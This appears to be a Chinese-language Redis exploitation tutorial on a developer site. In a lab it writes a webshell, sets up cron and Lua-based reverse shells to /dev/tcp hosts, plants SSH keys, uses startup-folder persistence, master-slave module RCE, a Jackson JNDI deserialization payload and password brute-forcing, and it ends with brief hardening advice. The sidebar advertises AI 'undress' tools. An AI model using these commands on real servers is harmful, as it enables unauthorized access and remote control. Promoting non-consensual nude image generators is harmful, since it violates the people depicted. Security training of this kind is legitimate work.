目錄
1、前言
2、redis介紹
#3、 環境建置
4、redis寫入檔案
4.1、寫入webshel​​l
4.2、排程任務反彈shell
4.3、写入公钥远程连接
4.4、开机自启目录
5、 redis主从同步rce
6、反序列化rce
6.1、jackson 反序列化利用
7、lua rce
8、redis密码爆破
9、漏洞修復
首頁 資料庫 Redis Redis漏洞利用的範例分析

Redis漏洞利用的範例分析

May 28, 2023 pm 08:08 PM
redis

1、前言

Redis相關的漏洞存在很久了,仍然存在可以利用的情景,本次整理復現下redis相關的漏洞利用,以便以後遇到能夠快速建立利用思路。

2、redis介紹

redis是一個key-value儲存系統。和Memcached類似,它支援儲存的value類型相對更多,包括string(字串)、list(鍊錶)、set(**)、zset(sorted set --有序**)和hash(哈希類型) 。
redis很大程度補償了memcached這類key/value儲存的不足,在部分場合可以對關聯式資料庫起到很好的補充作用。它提供了Java,C/C ,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
redis支援主從同步。資料可以從主伺服器向任意數量的從伺服器上同步,從伺服器可以是關聯其他從伺服器的主伺服器。
預設連接埠:6379

#3、 環境建置

分別建置windows和linux的測試環境。
官方給出redis的windows版本最新為3.x。
windows下載位址:
https://github.com/microsoftarchive/redis/releases
下載Redis-x64-3.2.100.zip解壓縮到本機目錄下。

Redis漏洞利用的範例分析

修改設定檔redis.windows.conf ,開啟遠端訪問,關閉保護模式。
修改bind 127.0.0.1為bind 0.0.0.0
修改protected-mode yes為protected-mode no

Redis漏洞利用的範例分析

指定redis.windows.conf設定文件,啟動redis服務。

redis-server.exe  redis.windows.conf
登入後複製

Redis漏洞利用的範例分析

使用redis-cli.exe成功連接redis服務。

Redis漏洞利用的範例分析

linux下載位址:
最新版為6.0.1,可以選擇所需的版本進行下載。
http://download.redis.io/releases/redis-6.0.1.tar.gz
使用wget指令下載

$ wget http://download.redis.io/releases/redis-6.0.1.tar.gz
$ tar xzf redis-6.0.1.tar.gz
$ cd redis-6.0.1$ make
登入後複製

編譯後,進入src目錄,將redis-server和redis-cli拷貝到/usr/bin目錄下

cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
ls
cp redis.conf /etc/
登入後複製

修改redis.conf和windows下配置相同,開啟外部訪問,關閉保護模式。

Redis漏洞利用的範例分析

啟動redis服務

redis-server  /etc/redis.conf
登入後複製

Redis漏洞利用的範例分析

#成功連接redis服務。

redis-cli -h 172.16.86.136
登入後複製

Redis漏洞利用的範例分析

4、redis寫入檔案

redis預設情況下沒有設定密碼,在沒有設定IP存取限制的情況下,可以透過redis寫入文件進行相關利用。

4.1、寫入webshel​​l

適用範圍:windows,linux版本。
利用條件:
1、目標存在web目錄
2、已知web絕對路徑
3、存在寫入權限
利用過程:
利用redis寫入一個webshel​​l到目標web目錄下。

config set dir "C:/phpstudy_pro/WWW/web"
config set dbfilename info.php
set x "\r\n\r\n<?php  phpinfo();?>\r\n\r\n"
save
登入後複製

Redis漏洞利用的範例分析

如果不進行換行,Redis匯入的檔案中含有版本訊息,可能會導致無法執行。 \r\n\r\n是表示換行的符號。

Redis漏洞利用的範例分析

成功寫入檔案。

Redis漏洞利用的範例分析

4.2、排程任務反彈shell

使用範圍:centos
利用條件:
1、權限可寫入排程任務
利用過程:
在權限足夠的情況下,利用redis寫入檔案到排程任務目錄下執行。
首先監聽連接埠。

nc -lvp 8899
登入後複製

利用redis產生排程任務設定檔。

config set dir /var/spool/cronset tide "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n"config set dbfilename root
save
登入後複製

Redis漏洞利用的範例分析

在目標主機上成功新增了排程任務。

crontab -l
登入後複製

Redis漏洞利用的範例分析

每一分鐘執行一次,成功接收到反彈的shell。

Redis漏洞利用的範例分析

坑点:
使用kali做为目标主机进行测试,需要写入计划任务到/var/spool/cron/crontabs目录下。
发现当目标主机为centos时可以反弹shell成功,使用了ubuntu和debian均无法成功反弹shell。
原因:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划。

4.3、写入公钥远程连接

使用范围:开启了密钥认证的linux主机
利用条件:
1、root权限
2、开启了ssh密钥登录,存在/etc/.ssh文件
利用过程:
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
1、首先在centos靶机上开启ssh密钥登录。
修改/etc/ssh/sshd_config配置文件。

RSAAuthentication设置为yes,意思是设置开启使用RSA算法的基于rhosts的安全验证;
PubkeyAuthentication设置为yes,意思是设置开启公钥验证;
AuthorizedKeyFiles后面的目录,是你上传的公钥所保存的文件;
登入後複製

Redis漏洞利用的範例分析

重启服务

 systemctl restart sshd.service
登入後複製

2、生成密钥
在kali中使用自带的命令生成一对密钥。

ssh-keygen -t rsa
登入後複製

3、将公钥内容导入key.txt文件

Redis漏洞利用的範例分析

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
登入後複製

Redis漏洞利用的範例分析

4、将生成的公钥内容设置给redis里的变量

cat /root/.ssh/key.txt | redis-cli -h x.x.x.x -x set tide
登入後複製

Redis漏洞利用的範例分析

5、在 /root/.ssh 目录下生成authorized_keys文件。

redis-cli -h x.x.x.x
config set dir /root/.ssh 
config  set  dbfilename authorized_keys
登入後複製

Redis漏洞利用的範例分析

成功写入authorized_keys文件。

Redis漏洞利用的範例分析

6、使用本地的私钥连接ssh

ssh  -o StrictHostKeyChecking=no x.x.x.x
登入後複製

连接成功。

Redis漏洞利用的範例分析

坑点:
目标主机必须开启了密钥登录才能利用。
ssh第一次连接时要加上 -o StrictHostKeyChecking=no,不然可能一直连不上。

4.4、开机自启目录

当目标redis部署在windows主机上时,可以写入文件到自启动目录。当下次电脑重新启动时执行上线。
使用powershell远程下载执行。
server服务器默认存在Administrator用户。
写入批处理文件到Administrator用户的开机启动目录。

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
save
登入後複製

Redis漏洞利用的範例分析

5、 redis主从同步rce

使用范围redis 4.x-5.0.5
在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

git clone https://github.com/Ridter/redis-rce.gitgit clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
登入後複製

编译so文件

cd RedisModules-ExecuteCommand/
ls
make
登入後複製

编译完后之后module.so到redis-rce目录下,运行命令:

python redis-rce.py -r x.x.x.x  -L x.x.x.x -f module.so
登入後複製

-r参数是指目标redis IP地址
-L参数是指本机的ip地址
执行命令后,本机21000端口生成一个redis服务,然后目标redis指定本机为主服务器,同步执行so文件。
执行成功后可以选择生成一个交互的shell,或者重新反弹一个shell。

Redis漏洞利用的範例分析

6、反序列化rce

当遇到 redis 服务器写文件无法 getshell,可以查看redis数据是否符合序列化数据的特征。
序列化数据类型分辨:

jackson:关注 json 对象是不是数组,第一个元素看起来像不像类名,例如["com.blue.bean.User",xxx]
fastjson:关注有没有 @type 字段
jdk:首先看 value 是不是 base64,如果是解码后看里面有没有 java 包名
登入後複製

redis 反序列化本质上不是 redis 的漏洞,而是使用 redis 的应用反序列化了 redis 的数据而引起的漏洞,redis 是一个缓存服务器,用于存储一些缓存对象,所以在很多场景下 redis 里存储的都是各种序列化后的对象数据。
两个常见场景:
一、java 程序要将用户登录后的 session 对象序列化缓存起来,这种场景是最常见的。
二、程序员经常会把 redis 和 ORM 框架整合起来,一些频繁被查询的数据就会被序列化存储到 redis 里,在被查询时就会优先从 redis 里将对象反序列化一遍。

redis一般存储的都是 java 序列化对象,php、python 比较少见,比较多的是 fastjson 和 jackson 类型的序列化数据,jdk 原生的序列化数据。
因为要从 redis 反序列化对象,在对象类型非单一或少量的情况下程序员通常会选择开启 jackson 的 defaulttyping 和 fastjson 的 autotype,所以通常可以进行利用。

fastjson反序列化和java反序列化和jackson 反序列化利用原理相同,都是通过篡改 redis 里面的反序列化数据,把恶意的序列化字节码存储进去,等到应用使用到它的时候就会反序列化触发漏洞,下面演示jackson 反序列化的利用过程。

6.1、jackson 反序列化利用

序列化:把Java对象转换为字节序列的过程。
反序列化:把字节序列恢复为Java对象的过程。
jackson 反序列化漏洞汇总
使用浅蓝大佬的springboot+redis+jackson的漏洞环境进行演示。
下载地址:https://github.com/iSafeBlue/redis-rce
首先搭建漏洞环境。
使用IDEA打开pom.xml文件,自动下载安装程序运行所需的依赖。

Redis漏洞利用的範例分析

安装完成后,运行程序。

Redis漏洞利用的範例分析本地启动一个redis。

Redis漏洞利用的範例分析

TestController.java 里写了两个接口,login 接口会把 User 对象直接存储到 redis。Home API will query Redis using the username parameter as the key.。

在“存储”和“查询”的时候实际上就是在“序列化”与“反序列化”。

这个过程如下:

调用login接口 -> 序列化User对象并存储到redis -> 调用home接口 -> 从redis取出数据并反序列化

如果控制了redis,可以先调用login接口把User 对象序列化存储到redis,然后把redis里的这条序列化数据篡改成恶意反序列化数据。最后,访问home接口时,从redis中获取数据导致了反序列化漏洞的触发。

演示过程:
访问login接口把数据存储到redis。

127.0.0.1:8080/login?username=nuoyan&password=123456
登入後複製

Redis漏洞利用的範例分析

修改redis中的存储的数据为恶意反序列化数据,发起 JNDI 连接请求。相关rmi和jndi服务器搭建可以参考

Fastjson反序列化漏洞利用

set nuoyan "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://x.x.x.x:1098/jndi\"}]"
登入後複製

Redis漏洞利用的範例分析

然后访问home接口,取出数据进行反序列化,成功弹出了计算器。

http://127.0.0.1:8080/home?username=nuoyan
登入後複製

Redis漏洞利用的範例分析

7、lua rce

A-Team团队大佬提出的一种利用方法。相关细节可参考《在Redis中构建Lua虚拟机的稳定攻击路径》
适用于高权限运行低版本redis的lua虚拟机,写文件失败时进行尝试。
本地搭建了centos6.5+redis 2.6.16的实验环境
使用info server 和 eval "return _VERSION" 0 命令可以查看当前redis版本和编译信息。

Redis漏洞利用的範例分析

下载A-Team团队的exp

https://github.com/QAX-A-Team/redis_lua_exploit/

修改redis_lua.py中目标地址为靶机的ip地址。

Redis漏洞利用的範例分析

运行攻击exp。

Redis漏洞利用的範例分析

显示执行成功,可以进行命令执行了。

连接靶机redis执行反弹shell命令。

eval "tonumber('/bin/bash -i >& /dev/tcp/172.16.100.61/9999 0>&1', 8)" 0
登入後複製

Redis漏洞利用的範例分析

成功接收到反弹的shell。

Redis漏洞利用的範例分析

8、redis密码爆破

当redis服务开放且设置了密码时,可以尝试使用工具爆破。
首先给redis设置密码,修改redis.conf,增加密码

requirepass admin@123
登入後複製

Redis漏洞利用的範例分析

使用redis-cli连接,使用-a参数指定密码操作。

Redis漏洞利用的範例分析

使用msf的auxiliary/scanner/redis/redis_login模块
设置爆破的目标地址,和字典文件,不建议使用默认字典文件。

Redis漏洞利用的範例分析

成功爆破出密码为admin@123

Redis漏洞利用的範例分析

9、漏洞修復

1、禁止使用root權限啟動redis服務。
2、對redis存取啟動密碼認證。
3、新增IP存取限制,並更改預設6379連接埠

以上是Redis漏洞利用的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1677
14
CakePHP 教程
1431
52
Laravel 教程
1334
25
PHP教程
1280
29
C# 教程
1257
24
redis集群模式怎麼搭建 redis集群模式怎麼搭建 Apr 10, 2025 pm 10:15 PM

Redis集群模式通過分片將Redis實例部署到多個服務器,提高可擴展性和可用性。搭建步驟如下:創建奇數個Redis實例,端口不同;創建3個sentinel實例,監控Redis實例並進行故障轉移;配置sentinel配置文件,添加監控Redis實例信息和故障轉移設置;配置Redis實例配置文件,啟用集群模式並指定集群信息文件路徑;創建nodes.conf文件,包含各Redis實例的信息;啟動集群,執行create命令創建集群並指定副本數量;登錄集群執行CLUSTER INFO命令驗證集群狀態;使

redis數據怎麼清空 redis數據怎麼清空 Apr 10, 2025 pm 10:06 PM

如何清空 Redis 數據:使用 FLUSHALL 命令清除所有鍵值。使用 FLUSHDB 命令清除當前選定數據庫的鍵值。使用 SELECT 切換數據庫,再使用 FLUSHDB 清除多個數據庫。使用 DEL 命令刪除特定鍵。使用 redis-cli 工具清空數據。

redis怎麼讀取隊列 redis怎麼讀取隊列 Apr 10, 2025 pm 10:12 PM

要從 Redis 讀取隊列,需要獲取隊列名稱、使用 LPOP 命令讀取元素,並處理空隊列。具體步驟如下:獲取隊列名稱:以 "queue:" 前綴命名,如 "queue:my-queue"。使用 LPOP 命令:從隊列頭部彈出元素並返回其值,如 LPOP queue:my-queue。處理空隊列:如果隊列為空,LPOP 返回 nil,可先檢查隊列是否存在再讀取元素。

centos redis如何配置Lua腳本執行時間 centos redis如何配置Lua腳本執行時間 Apr 14, 2025 pm 02:12 PM

在CentOS系統上,您可以通過修改Redis配置文件或使用Redis命令來限制Lua腳本的執行時間,從而防止惡意腳本佔用過多資源。方法一:修改Redis配置文件定位Redis配置文件:Redis配置文件通常位於/etc/redis/redis.conf。編輯配置文件:使用文本編輯器(例如vi或nano)打開配置文件:sudovi/etc/redis/redis.conf設置Lua腳本執行時間限制:在配置文件中添加或修改以下行,設置Lua腳本的最大執行時間(單位:毫秒)

redis命令行怎麼用 redis命令行怎麼用 Apr 10, 2025 pm 10:18 PM

使用 Redis 命令行工具 (redis-cli) 可通過以下步驟管理和操作 Redis:連接到服務器,指定地址和端口。使用命令名稱和參數向服務器發送命令。使用 HELP 命令查看特定命令的幫助信息。使用 QUIT 命令退出命令行工具。

redis計數器怎麼實現 redis計數器怎麼實現 Apr 10, 2025 pm 10:21 PM

Redis計數器是一種使用Redis鍵值對存儲來實現計數操作的機制,包含以下步驟:創建計數器鍵、增加計數、減少計數、重置計數和獲取計數。 Redis計數器的優勢包括速度快、高並發、持久性和簡單易用。它可用於用戶訪問計數、實時指標跟踪、遊戲分數和排名以及訂單處理計數等場景。

redis過期策略怎麼設置 redis過期策略怎麼設置 Apr 10, 2025 pm 10:03 PM

Redis數據過期策略有兩種:定期刪除:定期掃描刪除過期鍵,可通過 expired-time-cap-remove-count、expired-time-cap-remove-delay 參數設置。惰性刪除:僅在讀取或寫入鍵時檢查刪除過期鍵,可通過 lazyfree-lazy-eviction、lazyfree-lazy-expire、lazyfree-lazy-user-del 參數設置。

如何優化debian readdir的性能 如何優化debian readdir的性能 Apr 13, 2025 am 08:48 AM

在Debian系統中,readdir系統調用用於讀取目錄內容。如果其性能表現不佳,可嘗試以下優化策略:精簡目錄文件數量:盡可能將大型目錄拆分成多個小型目錄,降低每次readdir調用處理的項目數量。啟用目錄內容緩存:構建緩存機制,定期或在目錄內容變更時更新緩存,減少對readdir的頻繁調用。內存緩存(如Memcached或Redis)或本地緩存(如文件或數據庫)均可考慮。採用高效數據結構:如果自行實現目錄遍歷,選擇更高效的數據結構(例如哈希表而非線性搜索)存儲和訪問目錄信

See all articles